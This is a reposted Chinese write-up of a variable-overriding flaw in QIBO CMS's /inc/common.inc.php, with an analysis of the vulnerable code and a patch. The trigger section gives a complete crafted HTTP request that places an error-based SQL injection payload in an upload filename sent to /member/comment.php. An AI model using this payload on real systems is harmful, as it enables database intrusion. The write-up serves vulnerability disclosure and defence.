Maison php教程 php手册 QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

Jun 06, 2016 pm 07:48 PM
cms

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
Copier après la connexion

 

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险
齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Copier après la connexion

Relevant Link:

http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
Copier après la connexion


2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包

</span><span>2</span><span>. 在http request中构造一个attachment,如下:
</span><span>/*</span><span>
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span>  
User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span>  
Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work  </span>
Accept-<span>Encoding: gzip,deflate,sdch  
Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span>  
Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1;   
passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork  
Content</span>-Type: multipart/form-<span>data;   
boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Length: <span>227</span>  
   
------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span>  
Content</span>-Type: text/<span>plain  
   
</span><span>1111</span>  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/<span>
注意将原来的URL上的cidDB[]</span>=<span>x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload

</span><span>3</span><span>. 提交该数据包,即可注入成功
</span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Copier après la connexion

Relevant Link:

http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
Copier après la connexion


3. 漏洞影响范围

齐博所有系统、所有版本


4. 漏洞代码分析

\qibo\inc\common.inc.php

<span>/*</span><span>
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
</span><span>*/</span><span>
$_POST</span>=<span>Add_S($_POST);
$_GET</span>=<span>Add_S($_GET);
$_COOKIE</span>=<span>Add_S($_COOKIE);

function Add_S($array)
{
    </span><span>foreach</span>($array <span>as</span> $key=><span>$value)
    {
        </span><span>if</span>(!<span>is_array($value))
        {
            $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value);    <span>//</span><span>过滤一些不安全字符</span>
            $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value);    <span>//</span><span>过滤不安全函数</span>
            !get_magic_quotes_gpc() && $value=<span>addslashes($value);
            $array[$key]</span>=<span>$value;
        }
        </span><span>else</span><span>
        {
            $array[$key]</span>=<span>Add_S($array[$key]); 
        }
    }
    </span><span>return</span><span> $array;
}

</span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    @extract($_FILES,EXTR_SKIP);
}

</span><span>foreach</span>($_COOKIE AS $_key=><span>$_value)
{
    unset($$_key);
}
</span><span>foreach</span>($_POST AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key];
}
</span><span>foreach</span>($_GET AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key];
}</span>
Copier après la connexion


5. 防御方法

\qibo\inc\common.inc.php

<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>);
    </span><span>foreach</span>($array AS $key=><span>$value)
    {
        is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value];
    }
}</span>
Copier après la connexion


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
2 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Framework PHP et intégration CMS : possibilités illimitées d'intégration technologique Framework PHP et intégration CMS : possibilités illimitées d'intégration technologique Jun 01, 2024 pm 05:16 PM

Les avantages apportés par l'intégration du framework PHP et du CMS sont : 1. Améliorer l'efficacité du développement 2. Améliorer la sécurité 3. Simplifier la gestion du contenu ; Dans le cas réel, le framework Laravel a été intégré à WordPressCMS pour créer un site Web de blog avec des fonctions personnalisées. Les étapes d'intégration comprennent la création d'une application Laravel, l'installation de WordPress, la configuration de WordPress, la création d'un contrôleur, la définition du routage, l'obtention des données WordPress, et dans le processus. Vue Laravel Afficher les données.

Comment utiliser le système PHP CMS pour le développement de sites Web financiers Comment utiliser le système PHP CMS pour le développement de sites Web financiers Aug 25, 2023 am 10:06 AM

Avec la popularité et le développement d’Internet, les sites Web financiers sont devenus de plus en plus importants. Les sites Web financiers jouent un rôle décisif dans le développement commercial, le marketing et la construction de la marque du secteur financier, etc. De nos jours, avec la popularité et la maturité des systèmes CMS, de plus en plus d'entreprises commencent à choisir d'utiliser les systèmes CMS pour le développement de sites Web. Cet article se concentrera sur la façon d'utiliser le système PHPCMS dans le développement de sites Web financiers. 1. Comprendre le système CMS. Le système CMS est l'abréviation de système de gestion de contenu. Il fait référence à un système qui peut créer rapidement.

Comment utiliser Java pour écrire le module de synchronisation des données du système CMS Comment utiliser Java pour écrire le module de synchronisation des données du système CMS Aug 08, 2023 pm 11:49 PM

Comment utiliser Java pour écrire le module de synchronisation de données d'un système CMS Introduction : Avec le développement de l'ère de l'information et la popularité d'Internet, les systèmes de gestion de contenu (CMS) ont été largement utilisés dans tous les domaines. Parmi les différents groupes d'utilisateurs, la gestion de contenu nécessite la synchronisation de plusieurs sources de données, ce qui nécessite un module de synchronisation de données efficace et fiable. Cet article expliquera comment utiliser Java pour écrire le module de synchronisation des données du système CMS et fournira des exemples de code pertinents. 1. Présentation La synchronisation des données fait référence au transfert de données entre plusieurs sources de données.

L'emplacement du répertoire Imperial CMS révélé L'emplacement du répertoire Imperial CMS révélé Mar 12, 2024 pm 10:33 PM

L'emplacement du répertoire Empire CMS est révélé. Des exemples de code spécifiques sont nécessaires. Empire CMS (EmpireCMS) est un système de gestion de contenu open source largement utilisé. Sa flexibilité et sa richesse en fonctionnalités sont appréciées par les utilisateurs. Au cours du processus de développement d'un site Web, il est crucial de comprendre la structure des répertoires et l'emplacement des fichiers d'Empire CMS, car cela aide les développeurs à mieux gérer le contenu et les fonctions du site Web. Cet article révélera l'emplacement du répertoire d'Empire CMS et fournira des exemples de code spécifiques pour aider les lecteurs à mieux comprendre ce système de gestion de contenu. 1.Structure de répertoire de base

Comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS Comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS Aug 27, 2023 am 11:27 AM

Comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS Résumé : L'ajout de la fonction de filigrane d'image au système CMS peut empêcher efficacement la falsification et le vol des images. Cet article explique comment utiliser Java pour implémenter la fonction de filigrane d'image du système CMS et fournit des exemples de code. Introduction Avec la popularité d'Internet et celle des appareils photo numériques, le vol et la falsification d'images sont devenus un problème courant. Afin de protéger les droits d'auteur des images, de nombreux systèmes CMS ajouteront des fonctions de filigrane d'image. Le filigrane d'image est une technologie qui ajoute des informations identifiables aux images, telles qu'une photo

Le chemin de stockage du cache de colonnes PHPcms révélé Le chemin de stockage du cache de colonnes PHPcms révélé Mar 14, 2024 pm 03:18 PM

PHPcms est un puissant système de gestion de contenu largement utilisé dans le développement de sites Web. La mise en cache des colonnes est une fonction importante de PHPcms, qui peut améliorer la vitesse d'accès au site Web et réduire la pression sur le serveur. Cet article révélera le chemin de stockage du cache de colonnes PHPcms et fournira des exemples de code spécifiques. 1. Qu'est-ce que la mise en cache des colonnes ? La mise en cache des colonnes consiste à générer des fichiers statiques à partir du contenu des colonnes sur le site Web et à les stocker dans le chemin spécifié. Lorsque l'utilisateur accède à la colonne, le fichier statique est lu directement au lieu de générer dynamiquement la page à chaque fois. . ce

Conseils pratiques pour intégrer PHPcms avec d'autres systèmes Conseils pratiques pour intégrer PHPcms avec d'autres systèmes Mar 15, 2024 am 08:18 AM

Conseils pratiques pour intégrer PHPcms avec d'autres systèmes Avec le développement continu de la technologie Internet, le domaine du développement de sites Web est devenu plus diversifié et complexe. Dans les projets réels, nous sommes souvent confrontés à des situations dans lesquelles différents systèmes doivent être intégrés, ce qui nécessite que nous ayons certaines compétences et expériences pour résoudre ces problèmes. Cet article présentera quelques conseils pratiques et exemples de code spécifiques pour l'intégration du système PHPcms avec d'autres systèmes afin d'aider les développeurs à mieux faire face aux défis. 1. Principes de base de l'intégration Lors de l'intégration d'un système, il est d'abord nécessaire de

Impact et réponse au moment où PHPcms arrêtera la maintenance Impact et réponse au moment où PHPcms arrêtera la maintenance Mar 14, 2024 am 11:12 AM

Impact et réponse en cas d'arrêt de la maintenance de PHPcms Avec le développement continu de la technologie Internet, la construction de sites Web est devenue un outil essentiel pour de nombreuses entreprises et particuliers. Dans la construction de sites Web, le système de gestion de contenu (CMS) joue un rôle important. En tant qu'outil CMS couramment utilisé, PHPcms était autrefois très populaire. Cependant, au fil du temps, la mise à jour et la maintenance de la version PHPcms diminuent progressivement, voire arrêtent la maintenance, ce qui entraîne une série d'impacts pour les utilisateurs et les développeurs. Cet article explorera l'impact des PHPcms hors maintenance et fournira un

See all articles